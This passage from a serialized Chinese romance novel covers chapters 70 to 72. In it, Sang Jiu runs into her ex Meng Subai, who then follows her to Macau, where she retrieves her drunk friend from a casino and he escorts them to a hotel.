现在,到底谁欺负谁啊? 宋祁拿不定主意,愣在那儿。 莫名觉得这画面有些搞笑。 桑酒闻声,擒着张欣雅手腕的动作一顿,下意识回头望去,在看到宋祁身后的人时,淡漠不耐的表情更是一僵。 没有任何阻挡,两人四目相对。 还是那副天生自带的上位者冷峻长相,因为剪短了发,露出光洁额头,即便有那颗充满佛性的眉心痣点缀,也压制不住那份从骨子里漫出的凌厉。 他好像变了许多,具体哪里也说不上来,似乎瘦了,又似乎憔悴了,目光也更暗沉得令人望而生畏。 但好像,只有在望向她时,眼底才深敛着温柔,唇边的笑意淡淡,不深不浅,恰到好处压下了因浑身冷漠带来的压迫感。 耳边,是宋祁低声训斥小妻子的声音,渐行渐远,时空蓦地被割裂成两个空间,桑酒好像又回到三个月前那个觥筹交错的酒宴,珠帘窸窣响起,熟悉的清冽雪松香从身后扑面而来,眉眼淡漠,唇角噙笑的孟苏白,再次闯入了自己的生活…… 心仿佛被人紧紧一攥。 张欣雅的吃痛声也冷不丁传入耳。 桑酒猛然回过神,低声跟她说了声抱歉,连忙松开手。 张欣雅直接跑到丈夫跟前,小心翼翼看着那个疯女人,哭哭唧唧想跟丈夫抱怨两句,却被他身后的男人目光一扫,心里更加打怵。 她今天是遇到两座什么大佛了?—— 作者有话说:见面了[害羞] 第70章 宋祁训斥妻子的声音终于结束, 他从张欣雅手里拿回手机,看了一眼桑酒发给他的信息,不禁皱起眉。 “抱歉, 我没看到信息, 我们已经很久没见过面了……”他略微思考了一下, “要说有什么难忘的地方……桑老板如果什么地方都找了, 要不要去澳城试试?” 桑酒也猛然想起来, 宋祁带俞三禾去得最多的地方,就是澳城赌场。 闻言,张雅欣却是一脸懵逼:“你不是那个女人啊?” 桑酒回头看了她一眼, 没有说话。 她现在脑子一片空白, 根本说不出一句话来。 倒是长身玉立在门口的孟苏白,冷冷开了口:“宋祁。” 他的声音异常沉哑, 带着棱角和冷意, 不满和暗示意味极强。 “张雅欣,快跟桑老板道歉!”宋祁不敢耽搁,连忙解释,“我跟桑老板可是清清白白的。” 张雅欣缩了缩脖子, 小声嘀咕一句:“对不起咯, 大不了下次你再泼回来呗。” 宋祁这才发现,桑酒的头发和身上一片湿淋,身上风衣领口也有酒渍残留, 不禁眉心一跳, 生怕孟苏白当场黑脸, 连忙拉着她退出了休息室。 “桑老板,孟总,内子不懂事, 实在抱歉!人我带回去教育一下。” “为什么要教育我?宋祁你混蛋,你自己在外面惹的风流债……” 张雅欣的骂声渐行渐远,本就安静的室内,此刻更是万籁俱寂,连风拂过白色窗帘的沙沙声响都很明显。 桑酒僵持了一会儿,转身往门口走去,不过两步便走到孟苏白身边,玄关拥挤,她不得不与他擦身而过。 熟悉的气息再次飘入鼻,过肺抵心。 孟苏白曾说他从不用任何香水,可为什么她总能在他出现的第一时间,闻到他身上清冽如雪松的味道? 也只有在他身上,才能闻到的味道,胜过任何安眠镇定的药。 桑酒忽地鼻尖又酸又涩,但还是强忍着情绪,朝他轻轻点了点头,像面对一个互不相识又不得不打招呼的路人,举止得体。 身体交错时,手腕却被人一把扣住。 桑酒身子一顿,却没有回头,目光垂落在攥着她手腕的大手上—— 她的佛串依旧缠在他手腕。 “孟先生有事?”她面无表情问。 孟苏白大概也没意识到自己会伸手拦住她,仿佛这个动作是本能做出的反应,他眸色一顿,却没有松开她,而是将她拉近一步面朝自己,而后从西装内袋掏出一条白色方巾,俯身去擦拭她脸上残余的酒渍,神色温柔而认真。 “澳城那边我会让人先找着,你别担心,至于张小姐今天对你做的事情,我会让她付出相应代价的。” 桑酒整个人都呆住了,感受到他温热的气息扑洒在脸庞,令她原本就发烫的脸颊肌肤,更加红得可疑。 她完全没想过,会在这里碰见他,也从未做过与他再见的准备,以至于真到了这一刻,才明白任何一场没有准备的仗,都将输得一塌涂地。 当初之所以可以毅然决然提出分开,是因为两人隔着千山万水,隔着手机,他看不见她的脸,看不到她的悲伤,她也不会被他诱惑到,直到这一刻,近在咫尺才知,他的杀伤力究竟有多可怕。 只是一小步靠近,她好不容易建设了两个月的城墙,轰然坍塌,夷为平地。 错开目光,桑酒后退了一步,与他拉开距离,语气也变得陌生冷硬:“不用,不劳烦孟先生了,我自己会处理好。” 说完,她决然转身,快步离去,往电梯口走去。 半明半暗灯光里的孟苏白,此刻浑身都散发着孤寂的冷…… 从酒店匆匆忙忙出来,桑酒一头钻进车内,抵额撑在方向盘上,闭眼。 她努力在自己的秘密空间里想要平复心情,也不知道坐了多久,心情还是无法平静,胸口起伏让她呼吸急促、手脚颤抖、神情慌乱。 必须做点什么,不能停下来,不能去想他,不能去贪恋。 桑酒深呼吸一口气,启动车子,打着方向盘。 神思恍惚间竟错把电门当刹车,方向盘也偏了方向,车头猛地撞向路边金属护栏,“哐”的一声闷响,不算剧烈,却震得车身轻颤,中控台的摆件叮铃晃了晃。 她整个人往前一冲,安全带勒得肩颈发紧,心跳也骤然漏了一拍,指尖死死攥着方向盘,指节泛白,连呼吸都僵住了,眼底漫开后怕的呆滞。 身后的黑色幻影几乎是同时急刹,轮胎擦过地面发出刺耳声响。 孟苏白推开车门的动作快得带起一阵强风,大步冲过去时,脚步踉跄,修长的身躯几乎是扑了过去,敲打着桑酒的车窗,喊着她的名字。 “泱泱!” 那是他第一次如此失态。 就连分手时都平静如水的男人,此刻眼眸猩红,奋力砸着她的车窗。 桑酒感觉如果再不开门,她的新车就要报废得更惨烈了。 愣神了两秒,犹在颤抖的手赶忙解了车门锁,伴随“咔嗒” 一声,车门被拉开。 没等桑酒回过神,孟苏白已经俯身探进来,长臂一揽就将她扣进怀里,掌心牢牢贴在她后颈,将她的脸庞按进胸膛,另一只手圈着她的腰,力道紧得像是要将她揉进骨血里,带着失而复得的慌乱,又透着极致的安抚。 他的声音贴着她耳畔,沉哑得厉害,却字字都裹着温柔暖意,压下了她所有的惊惶后怕:“别怕,我在。” 胸腔的震动透过衣衫传过来,混着他身上熟悉的雪松冷香,桑酒紧绷的背脊骤然软了,鼻尖跟着一酸,攥着他西装前襟的手指微微发颤,方才强撑的镇定尽数溃堤,只有浓重的后怕顺着呼吸大口大口往外冒。 她闭上眼,一时分不清,害怕的人到底是她,还是他…… 孟苏白感受到怀中人的轻颤 ,收紧手臂,低头将下巴抵在她发顶,一遍遍地轻揉她的后颈,声音放得更加温柔,像是在哄受惊的小猫:“没事了,没事了。” 车外的晚风卷着凉意吹进来,他用自己的身体,替她隔绝了所有的惊恐与寒冷。 可他的陪伴不会长久,她总要一个人度过这个寒冷的冬季- 桑酒也不知道怎么就上了孟苏白的车。 只记得他脱下外套给她披上,然后将她带下车,问她要去哪儿。 语气不轻不重,却带着几分刻意的疏远。 桑酒察觉出来了,眼眸一酸,像提线木偶一样任他牵着走,回了“机场”两个字。 孟苏白也没有多说什么,只是将她带去他的车里,让司机留下来等拖车公司,然后又拨了一通电话给澳城的人,语气生冷交代人去寻俞三禾。 车内灯光明亮,两人挨得又近,桑酒这才能细细打量他,哪怕是余光扫过他的眉眼,也觉得陌生,好像两个月不见,他变了个人似的,眼里生人勿扰的气息更为浓烈,甚至连她都不敢靠近。 这两个月,他一定经历了很多吧。 桑酒心里一叹,还是决定当一回哑巴。 车子一路行驶,两人无言,桑酒一直忙着给俞三禾电话,中途又接到李佑泽母亲的电话,说这两天感觉身体好点了,听李佑泽说他们要拍婚纱照,想过来海城看看,不知道她跟李佑泽两人有没有时间。 “当然有,”桑酒习惯了跟长辈们说老家话,语气温柔,“我开车去接您吧。” 李母说不用:“我跟你叔叔坐高铁过去,也很快的,这辈子还没坐过高铁呢。” 桑酒沉默了两秒:“行,那我给您买票,您记得药带齐,到站了给我电话。” 挂断电话,她没有去看孟苏白,再次一遍又一遍,不厌其烦地拨打俞三禾的电话,仿佛不给自己找点事情忙碌,她会无法呼吸。 孟苏白也没有出声,目光平淡盯着前方,似乎对与她的再次见面一点都不惊讶,但如果她再看仔细一点,就会发现搭在方向盘的手臂,青筋凸起,他紧抿着薄唇,就连脊背也是僵直的。 因为离得不远,四十分钟后,车子便抵达机场,此时,天色渐暗。 桑酒临下车前,才终于抬头去看他,语气生疏客气:“……谢谢。” 孟苏白没有吭声,低垂着眸,不知道在想什么。 桑酒也只迟疑了一秒,果断解开安全带,脱了他的外套放在副驾驶,下了车。 却不料刚关上门,孟苏白也跟着钻出车,隔着车身叫住了她。 “泱泱,我和你一起。” 许久未曾听到的缱绻呼唤,几乎一瞬间就让人泪目。 桑酒脚步一顿,却没有回头,只是空洞的目光终于有了一丝神色,她勾起唇角,浅笑了一声:“不用。” “那边夜晚不安全,你一个人,我不放心。”孟苏白朝她走过来 。 “孟苏白!”桑酒却叫住了他,她任凭泪水滑落,极力克制失控的情绪,不让声音发出一丝颤抖,“我说过,要彻底忘掉你很难,但我可以做到的,我现在也做到了,所以,请你放过我也放过你自己,就当陌生人不好吗?” 孟苏白没有说话,他就站在她身后,一步之遥的距离,甚至抬手就能碰上她微微颤抖的肩。 桑酒又继续说:“我已经度过了最艰难的时刻,现在很好,只要你不再出现,我会越来越好。” 孟苏白没有再靠近,沉着眸,眼睁睁看着她离去,渐行渐远。 两个小时之后,夜色落幕,航班也平安落地澳城。 桑酒根据孟苏白提供的信息,很快就找到了玩嗨了的俞三禾。 赌场里灯影晃眼、富丽堂皇,鎏金饰边的赌桌映着满室喧嚣,筹码碰撞的脆响混着荷官的报数声,空气里是浓的散不开的烟酒气味,和一些难闻的气息,发自那些表面光鲜亮丽西装革履实则内里已经发臭发馊的男人 。 桑酒穿过攒动的人群,朝俞三禾走去。 俞三禾窝在真皮沙发里,金色卷发乱蓬蓬地贴在颊边,一脸颓丧,指间夹着支细烟,烟圈吐得散漫,面前的赌桌上堆着厚厚一沓粉色筹码。 见到桑酒出现时,顿时愣住了:“桑桑,你怎么来了 ?” “看看你战况如何。”桑酒径直在她身旁坐下,看着面前的筹码,问她,“介意分一半给我吗?” “什么?”俞三禾一时分不清状况,以为她会揪自己回去。 桑酒却自顾分了她一半筹码,拿在手里把玩着,目光盯着桌前的荷官:“都说感情跟豪赌一样,不论输赢都无法心甘情愿离场,所以,我想试一试。” “……怎么试?”俞三禾觉得桑酒淡定得令人心慌。 只见她指尖敲了敲赌桌,将桌上所有筹码拢到一起,推到台中央,声音果决:“All in。” 那是俞三禾第一次见如此疯狂的桑酒,甚至有些后怕地拉了拉她的衣袖:“桑桑,我不赌了,我们走吧。” 她那一半筹码,至少十几万。 自己怎么输都无所谓,可她不想拉桑酒下水。 “桑桑,我知道错了……” 可桑酒恍若未闻,推出去的筹码也无法收回,她冷冷盯着荷官手里的牌,似在等待命运的判定- 直到在酒吧灌了整整两瓶酒,俞三禾才彻底压下心中的后怕。 “桑酒!那可是十六万!你就这么眼都不眨推出去了?” 桑酒喝得很慢,一直控制自己在清醒状态,话也冷静得让人抓狂:“不是帮你扳回本了吗?” 俞三禾抱着酒瓶一愣,随即咧嘴笑,朝桑酒竖起大拇指:“对,我们桑老板真是赌王上身,天下无敌厉害!” 她输了一个晚上的筹码,被桑酒一局扳回,将她从悬崖边救回。 桑酒采访她:“说说此刻的心情。” 俞三禾一把抱住她,瞬间泪目:“感觉活过来了。” 桑酒哭笑不得。 俞三禾吸了吸鼻:“还是钱重要!傻子才会想着用输钱来表真心!其实昨晚输到十万的时候,我就明白了,我他妈根本就没那么爱他 !我难受是只想赢回我的钱,我后悔得快死了你知不知道,呜呜呜……” “知道了就好,”桑酒拍了拍她肩,“任何时候,都不要跟钱过不去,尤其是为了男人。” 哭过后,俞三禾又擦干眼泪问她:“那如果最后一局我们又输了,怎么办?” 桑酒抿了口酒,语气从容:“你不是还有一半筹码吗 ?” 俞三禾顿时眼睛瞪得老大:“不!行!” 她们两个,一个是傻子,一个是疯子,傻子遇到疯子,自然就恢复了理智。 桑酒挑眉:“那不就得了,及时止损,你还能保留一半。” 俞三禾:“……” “至于我输的那一半,就当是我自己彻底告别吧。” 输赢不论,只为记住那一刻,孤注一掷的决心。 俞三禾劫后重生,又有桑酒在身边,便彻底放开了自我,直接大醉一场来庆祝。 桑酒也由着她,直到深夜降临,俞三禾实在喝不动了倒下,她才放下手里酒杯。 “尽兴了?” “不尽兴 ——我还要喝——喝——”俞三禾举着空酒杯,Duang的一声怼到她眼前。 桑酒拍开,看了下腕表时间,觉得也差不多该回酒店了。 “该散场了,俞老板。” 她将瘫倒在桌上的俞三禾扶起,走出酒吧,一路骂骂咧咧。 “俞三禾,我跟你说,这是最后一次了!”许是最近又放纵了,桑酒感觉这家伙体重又涨了几斤,咬牙扶着都有些费劲,“下次你再这样,我真不管你了!” 醉酒的俞三禾笑嘻嘻捏了捏她脸颊,流氓似的香了她一个:“我们桑桑最好啦~” 说完,开始扯着喉咙开始高歌。 “……人生几十年总会有风雨来陪 ,潇潇洒洒赴会今不醉不归……” 桑酒有些无奈叹了口气。 不愧是不夜城,街边灯火通明,来往豪车穿梭,但随处可见的,是路边随地躺着的人,听到动静睁开眼看过来,一道道不怀好意打量的目光,让桑酒毛骨悚然。 她一手提着两人的包,一手扶着俞三禾想换条道路,却冷不丁脚踩到什么,低头看去,顿见一个衣衫褴褛的男人突然拔地坐起,咧着嘴朝她们露出诡异的笑。 桑酒当场被吓破了胆,惊喊声还在喉咙没发出,就拉着俞三禾一路狂奔。 “……好朋友……” 身后仿佛有脚步声跟了过来,即便再大胆,桑酒此刻也怂了。 这里可是赌城,都是亡命赌徒,真要出什么事,她们可以说是叫天不应叫地不灵。 她一路跑,一路小声祈求俞三禾别唱了,偏这祖宗唱上头了,还越唱越兴奋,就差就地撒泼打滚了。 “……好朋友今宵多欢畅!” 桑酒欲哭无泪,又加快脚步朝马路边走去,打算拦一辆出租车逃离这个可怕的地方,然而她脚踩着高跟鞋,不但走不快,还被沉重的俞三禾带得东倒西歪,横冲直撞的,好几次都要摔倒。 但身后脚步声越来越近,她浑身开始打颤,低垂着脑袋使劲往前走,正寒毛竖起时,冷不丁一头撞入一个怀抱,发颤的手臂也被人稳稳扶住。 熟悉的气息扑鼻而来,瞬间安抚了她那颗疯狂颤抖的心。 桑酒愣了两秒,缓缓抬眸,目光从那截皓白手腕处的佛串,逐渐往上扫。 下午曾披在她身上的西装外套、解了两颗领口的白色衬衫、好看的喉结 、优越的下颌线、温柔的薄唇…… “孟……”她的声音克制不住发抖,他的名字在唇瓣打了个转又咽回。 身后追来的流浪汉大喊一声:“嗨!美女……” 桑酒如惊弓之鸟被惊得往前踉跄了一小步,孟苏白直接将她护在怀里,再抬眸时,目光冰冷如寒光,深沉冷冽。 流浪汉在看到女人身后神色阴冷的男人时,急忙刹住脚步,吓得转身溜了。 桑酒承认,在看到孟苏白出现的这一刻,她慌乱害怕的心瞬间就安定了下来,刚才在赌场的霸气和在酒吧的镇定丝毫都无,只有满腔的委屈要在鼻腔爆发,甚至有些难过。 “你……你怎么会在这里?”她强迫自己从他怀里抽离出来,问道。 孟苏白只是看着她,依旧没有说话,他一身肃黑西装,面容苍白疲惫,黑发细碎的散落在眉眼之上,眼睫鸦羽一般压下,遮掩了沉重的千言万语。 其实是多余一问的,即便她说了那么决绝的话,他还是放心不下她一个人,跟了过来。 可到底是什么时候跟上来的? 是她独自一人乘坐飞机坐在经济舱无声哭泣时,还是她在赌场一脸漠然推了所有筹码时,亦或是她跟俞三禾在酒吧昏天暗地买醉时? 甚至…… 桑酒忍不住猜测,他是不是一直都在她看不见的角落,默默注视着她。 如果白天她没有撞车,如果今晚她没有遇到坏人,他一直都不会出现对不对? 无声的对视,仿佛梦境里出现过无数次,桑酒忽然觉得,有什么在悄然裂开,间隙如蜘蛛网一般蔓延开。 直到俞三禾不耐的声音打破这沉寂又绵长的氛围。 “……你谁啊……” 俞三禾觉得自己就像一只鸭子,被人架着动弹不得,闭着眼拍打着挣扎着。 “……三禾……” 桑酒想上前去扶。 孟苏白却没有给她机会,二话不说,直接提着俞三禾走到一旁的路边,将她塞入一辆宽敞的豪车里。 很明显,这是他的车子。 桑酒错愕地跟了上去,笑容有些恍惚:“孟先生,我们自己打车就行了。” 孟苏白砰的一声关上车门,随即回头,目光一瞬不错盯着她,薄唇紧抿着,胸膛呼吸也剧烈急促。 “我说过,这里不安全,”他终于开口,目光深沉注视着她,低哑的嗓音似在极力克制着,却克制不住提高了声音,“这里遍地都是倾家荡产的流浪汉!你们就两个女孩子!带着钱在路上招摇!知不知道一旦被人盯上,后果不堪设想?知不知道刚刚如果我不来,你们会有多危险吗?” 去年四月,就有一名女子在酒店外被抢走高额港元筹码,还因为喝得酩酊大醉,被人捡走了。 桑酒这次怔了一下,垂下眼睫,她知道自己任性了,下意识辩解:“我就是知道危险,才赶过来陪三禾的……” “所以呢?”孟苏白朝她走过去,“所以你就赶过来,跟她一起喝酒,一起在大街上游荡?” “我没有……”桑酒声音不自觉低了几分,“我们订了酒店,就在附近……” 她原本是想着近一点走路过去的,但刚刚被那些流浪汉的出现吓到了,有想过打车回去的。 “而且……”可莫名被他这样一通吼,桑酒又觉委屈,想找回一点面子,“而且……我没喝酒!” 哪怕喝了一点点,她也清醒得很,自从跟他分开后,就没有醉过了,她要让自己清醒地忘记他。 可偏偏,他还要闯进她的生活,那样蛮不讲理,还要在她两次受到惊吓后凶她,这让她紧绷了一天的神经忽然就断了,滚烫的眼泪,就这样猝不及防落下。 桑酒甚至分不清,她究竟是因为刚刚被吓哭的,还是因为再次遇见他哭,又或者是压抑了整整两个月的情绪,这一刻忽然有了爆发口。 “是吗?”孟苏白继续问 。 “反正我很清醒。”桑酒抬起眼,隔着一步距离望着他。 她的眼眶、鼻尖和脸颊都很红,下巴还挂着泪珠,像是受了极大的委屈,却又倔强得不肯认输。 孟苏白的隐忍在这一刻似乎也到了极致,他一把拽住她手腕,将人拉过来,护在怀里,按在车身上。 “有没有喝,我知道。” 吻如疾风劲雨狠狠落下,砸在她撅起的红唇上,还未散去的清酒气息也悉数被他卷了去。 “什么时候,你才能顾好自己……就自己 。”—— 作者有话说:Kings回来了,只是不敢出现[爆哭]《 》 70-78 第71章 突如其来的吻, 直接给桑酒亲懵了,熟悉的柔软和味道,像是触发了某种记忆开关, 她不禁沉沦其中。 但也只是片刻。 梁婉盈的话突然又在脑海回响——“他可能落得和Neel一样的下场。” 她猛然惊醒, 掌心撑在孟苏白胸口, 用力往外推, 一次没有推开, 便两次、三次…… 可男女力量悬殊,孟苏白一开始也只是气愤她永远都在为别人着想,而把自己置身于危险之中, 可唇瓣相触的一刹那, 他也彻底失控,不顾一切吻得更深。 桑酒越推拒, 他便越控制不住力道, 将她压在车门上,像要吃人一样地掠夺她的气息。 直到桑酒被吻得受不住了,狠狠咬了一口他的下唇,血腥味瞬间在口腔中蔓延, 微咸的苦涩, 将他理智拉了回来。 孟苏白伏在她肩上,气息深埋入她脖颈。 “对不起……”他的声音暗哑得几近粗粝,呢喃着她的名字, “泱泱……” 孟苏白能看出她眼里同样克制压抑的爱, 能感受到她因亲吻而情动, 明明他们还深爱着彼此,却偏要受这命运捉弄。 而这一切,都是因为他无法做到自己的承诺。 “对不起……” 孟苏白第一次为自己对人生的无能为力而感到自责。 他始终还是伤害了她。 孟苏白控制不住身体颤抖, 那股突发性的、钻心似的神经疼痛从后背脊椎蔓延,如同千万根钢针穿刺入骨,似要将他身体撕裂。 而此刻能缓解这种疼痛的,只有她。 她的温柔气息,她的柔软香甜,是他的解药。 “泱泱……”他忍不住吮着她修长的颈侧,深深吸了一口。 久违的玫瑰香甜,是比止痛药更迅速更有效的良药。 桑酒仰着脑袋,逃脱不得,一片酥麻从脖子荡漾开来,她全身都开始发抖,身体不受控涌起一阵又一阵的羞耻,熟悉的反应让她头皮发麻,腿脚酥软。 “孟苏白……”她双手低垂着,齿狠狠咬住下唇,用剧烈的痛意保持清醒,“你别这样。” 良久,孟苏白压抑地深呼吸了一口气,缓缓放开了她,身体落寞倚在车身一旁,无意识摩挲了一下手腕的佛串,指尖轻轻抵着一按。 “抱歉,我不该打扰你生活。” 桑酒与他并排倚着车身,明明是最亲密的距离,却好像隔着万水千山,再也无法跨越。 孟苏白侧眸,与她对上视线,此时的他已经收了刚才的失控,一切如常,只是眸色深了几许,额角沁着冷汗,仿佛刚刚的失控是幻觉。 “我们是和平分手,互不相欠,你不用觉得对不起我。” 夜气清如许,桑酒穿得单薄,浅色风衣上还残留着酒渍,正冷风中簌簌。 孟苏白对她的话恍若未闻,只是盯着她看了片刻,然后脱下身上外套,给她披上,紧了紧,又顿住:“刚刚是我唐突了,我只是……” 只是做不到。 明知每一次靠近,对她都是伤害,可他做不到忘记她,做不到只默默看着她,做不到不去爱她。 桑酒沉默了一会儿,声音清冷:“一开始,多少会有点难过,但时间久了就会习惯,就会放下,不再痛苦。” “你已经放下了吗?” “当然,我说过,我的修复能力很强的,”桑酒朝他扬起一抹释然的淡笑,“你看我现在,酒馆生意越来越好了,工作室也稳定了,我男朋友的工厂也逐渐走向正轨,我们……我们要结婚了……” “我知道。”孟苏白变了脸色。 “那你会祝福我的,对不对?” “可是你不爱他,”孟苏白只觉得心被人剜了一刀又一刀,他又重复了一遍,下颌线咬得如雕塑般,“你根本不爱他。” 分手那天他是说过,如果一个人走不下去了,她可以找个人结婚,可他没想到,这一天会来得这么快。 桑酒微微抿唇:“我也没想过,这辈子要跟别人结婚。” “跟我在一起,也从未想过吗?” 桑酒缓缓摇头,语气坚定:“从未。” 孟苏白悲凉的神色里不禁闪过一丝自嘲,他目光紧紧锁住她的脸庞,艰难一笑:“你可真残忍。” “是比较清醒理智吧,”桑酒坦言,“其实一开始,我就跟三禾说了,抱着玩一玩的心态和你在一起 ,我不想我们走到三禾跟宋祁那样地步,现在分了也很好,至少还能是朋友。” “朋友吗?” 桑酒轻轻点头:“就像回到四年前,我们还是朋友,好不好?” 孟苏白没有说话,仰头望着头顶星空,不知道在想什么。 桑酒也跟着仰头看去,漆黑黑的夜空,其实什么都没有,只是眼里滚烫的泪水打了几个转,又强行被吸收了回去。 “后悔与我相遇吗?”孟苏白问。 桑酒摇头,她看着他笑,只是眼眶已然湿润:“虽然我们分开了,但我一点都不后悔遇见你,因为遇见你,才有了今日的我。” 而被你改变的那部分的我,将代替你永远陪在我身边。 “孟苏白,我们都要往前走了。” 孟苏白垂目凝着她:“我……” “桑桑!桑桑!” 身后车里的俞三禾忽然醒来,敲着车窗哭喊。 两人被吓了一大跳,转身看去。 桑酒拉开车门,抱住她安抚:“我在这儿,三禾。” “呜呜呜……”俞三禾趴在她怀里大哭,“我以为你也不要我了……” “不会,不会不要你。” “我刚刚看到 ……看到你跟别的男人跑了!”俞三禾抬起脑袋,委屈巴巴控诉。 桑酒:“……没有。” “呜呜呜……难受!”俞三禾在她怀里撒了个娇。 桑酒拍了拍她肩膀:“那我们回酒店。” 孟苏白不知何时也上了车,他启动车子,通过中央后视镜看她:“我送你们过去。” “……那麻烦你了。”桑酒也不想再折腾,报出酒店名字。 孟苏白却转了方向盘,说:“那家酒店太小。” “啊?” “孟氏在澳城也有酒店。” 听这口气,是没得商量了。 桑酒无奈,不再吭声,倒是俞三禾醉意大爆发,抱着她开始疯言疯语。 “桑桑,我这是最后一次,为男人发疯买醉了!” “嗯。” “桑桑,其实有件事情,我一直没有告诉你……” “什么?” “宋祁一开始看上的人,是你……” 桑酒神情一愣,震惊的同时,下意识抬眸。 果不其然,撞见孟苏白从镜子里瞥过来的眼神,意味深长。 她连忙捂住俞三禾嘴巴:“别胡说。” “我没胡说……”俞三禾挣开她的手,一把坐起,认真脸,“你记不记得那年,有个人跟你谈条件,你拒绝了,还将那个人大骂了一顿,那人其实是他的一个朋友……” “我真不记得了。”桑酒摇头。 陈年旧事,她是真没印象了。 “不记得也没关系,我就是想告诉你……其实后来……宋祁对我好,都是因为你,我也是跟了他一年后才知道的,桑桑,你会不会怨我没有告诉你?” “当然不会。” “呜呜……可是我很自责,我总觉得是我抢了喜欢你的人,你才选择跟死佑子在一起的,死佑子他根本配不上你!” “不是的……” “不对!宋祁也配不上你,他连你手指头也配不上,你说得没错!他就一死渣男!爱装!不干净又不好用!” 桑酒直接惊得天灵盖都要起飞了,她想捂住俞三禾的嘴,奈何她一喝醉就跟机关枪似的突突突个不停! “我求你了,别说了好不好?” 虽然跟孟苏白分手了,但她也是要面子的。 “为什么不说?你看人那么准,他就是不好用啊!” 苍天! 谁能将她带走啊? 车内寂静了好一会儿,桑酒觉得自己人也走得差不多了,长叹一口气,打算不跟酒鬼计较了。 见她不说话,俞三禾又握紧她的手,语重心长:“桑桑,你要护好自己这颗心,不要爱上任何男人,这个世上,就没有好男人……” 桑酒:“……” “快答应我!” “……好。” “……不对,你要结婚了……”俞三禾好像忽然反应过来什么,摇了摇食指,“你要跟死佑子结婚了,呜呜呜!你别跟他结婚好不好。” 桑酒没有吭声,只希望到酒店的路程能短一些,再短一些。 “死佑子他凭什么?凭什么能娶到我们桑桑这么好的姑娘?”俞三禾就差站起来抗议了,“他是救了你命没错,他妈妈……” “三禾!”桑酒将她拉下来,想要阻拦她。 俞三禾跌到她身上,冷不丁又一本正经看着她:“桑桑,你以后跟佑子生的娃,认我当干妈好不好?好不好?” 桑酒被她整得没辙了,根本听不见她在说什么,只想哄着这祖宗别再闹腾了。 “好不好吗?” “好好好,你说什么我都答应你,咱坐好,别闹了好不好?你有没有哪里不舒服?” “不舒服?”话题成功被转移,俞三禾摸了摸肚子,皱起眉,“难受,想吐……” 说完,还真要当场yue一个。 桑酒眼疾手快捂住她嘴: “别吐,迈巴赫,咱赔不起。” 俞三禾眼神无辜转了转,乖乖咽了下去。 桑酒不忍直视,又想笑。 孟苏白适时抽空递了纸巾和塑料袋过来:“没关系,脏了可以洗。” 一听到他声音,桑酒就尴尬得要死,想跳车逃走。 俞三禾个大漏勺! 什么鬼话都往外说! 俞三禾却腾地凑过去前排看孟苏白,一边看一边打量:“这位帅哥看着眼熟,是谁呢?” 桑酒又将她拉回来,面不改色:“滴滴师傅。” “滴滴师傅?”俞三禾很是震惊,“现在滴滴师傅门槛都这么高了吗?有豪车的开,长得帅的也开?” 桑酒抿紧嘴巴,决定不搭理她的胡言乱语。 “不对!”俞三禾却有自己的节奏,她再次伸长脖子看了眼孟苏白,脑瓜子疯狂转动,“我想起来了……他是……” 桑酒又是心头一紧。 “他是你的……国王先生!” “……” “国王先生?” 饶是再故作镇静,孟苏白也忍不住掀眸,透过后视镜看了眼某人,那变幻莫测的表情,当真可以用五彩斑斓来形容。 涌上心房的明明是两个人最美好的回忆,却被丝丝缕缕的难舍与悲伤缠绕。 桑酒又何尝不是他的Princess,他心中永不凋零的玫瑰。 两人沉默间隙,俞三禾仿佛被自己的聪明劲震撼到了,抬手为自己鼓掌:“哈哈,我猜对了吧!” 桑酒彻底放弃摆烂了,只内心呐喊,实在后悔上了孟苏白的车,怎么把俞三禾一喝醉酒就放飞自我的陋习给忘了呢! “我跟你说哦,桑桑,国王先生也不行,”俞三禾说着说着,又开始哭,“想想宋祁,他们那样的人,我们爱不起……” 桑酒抱紧她,无声安慰着。 因为低垂着脑袋,她没有瞧见后视镜里,孟苏白投过来平静中又充满悲痛的目光- 这晚,桑酒整个人都头大了,好不容易到了酒店房间,俞三禾更加疯狂起来,一直抱着她不肯撒手。 “桑桑,你不要嫁李佑泽了好不好?我也不当什么干妈了,咱俩给彼此养老,买套大别墅一起住……咱们把日子过好了,比什么都强!” “好……” 孟苏白让前台送来了醒酒汤,亲自端了过去。 桑酒一边接过,一边对他说:“她……估计还要闹一会儿,你先回去吧,今晚谢谢你了。” 房间是一间非常豪华的套房,全景玻璃窗,可以俯瞰澳城半岛的景色,要不是被俞三禾捣乱,她根本不敢安心住。 孟苏白点了点头,却没有立马离开 ,看着她被人缠着手忙脚乱的样子,不禁眉心微皱。 不过对方是女孩子,他也没法直接上手处理,只能靠着沙发边干看着,可听着那些醉酒的胡话,又觉得扎心,眸色低垂。 她即将与别人结婚,未来还会有孩子,她的人生,将彻底与他无瓜葛。 桑酒也无暇顾及他,温柔哄着俞三禾把汤喝了。 俞三禾还在提各种无理由要求:“那你不要跟他拍婚纱照了!” 孟苏白掀眸望去。 桑酒舀了一勺汤递过去,面无表情:“好,我的祖宗,你说什么都好,把汤喝了。” “那咱俩去领证吧?” “行,喝一口,明天就去。” “不嘛,我现在就要!” “……乖,我让他们把民政局搬过来,你喝完就办!” “桑桑,你真好……”俞三禾勉强喝了一口,埋在她颈窝哭,“从小就是你保护我,我一直都在想,你要是男人就好了,呜呜呜呜,真便宜那颗死佑子了……” 俞三禾一直闹到凌晨两点,终于安静,大概是酒也醒了,沉沉睡去。 孟苏白也不知道什么时候离开的,桑酒看着空荡荡的房间,顿觉失落,叹了口气,去泡了个热水澡。 今夜,大概又要无眠了。 浴缸正对着一小块落地玻璃窗,可以看见无边夜景,即便到了深夜凌晨,外面依旧繁花似锦。 她趴在浴缸边缘,目光远眺窗外,总觉得此刻外边光景就如同今日这荒唐的一天一样,虚实颠倒,不分日昼。 回想与孟苏白说的那番话,应该是让这场分手有了个体面的交代,可谓是最完美的结局了,他们没有互相怨恨,也没有谁死缠烂打,和平到可以给彼此颁一个诺贝尔**,可桑酒心里没有丝毫愉悦。 “孟苏白……” 她用食指在雾气氤氲的玻璃上,一笔一画写下他的名字。 “你也要向前走。” 她不要成为他的负担,不要做他的软肋,也不要给他添任何麻烦。 也许,结婚的日子该提前了。 手指抚上唇,还有脖子上若隐若现的吻痕,似乎还能感受到几个小时前的炙热,只是从今以后,这炙热将不再属于她。 等泡完澡出来,桑酒睡意全无,又听到俞三禾在被窝里哼唧唧,像是难受得很。 “怎么了 ?”她掀开被褥。 俞三禾闭着眼,眉心蹙成一团,捂着肚子:“疼——” 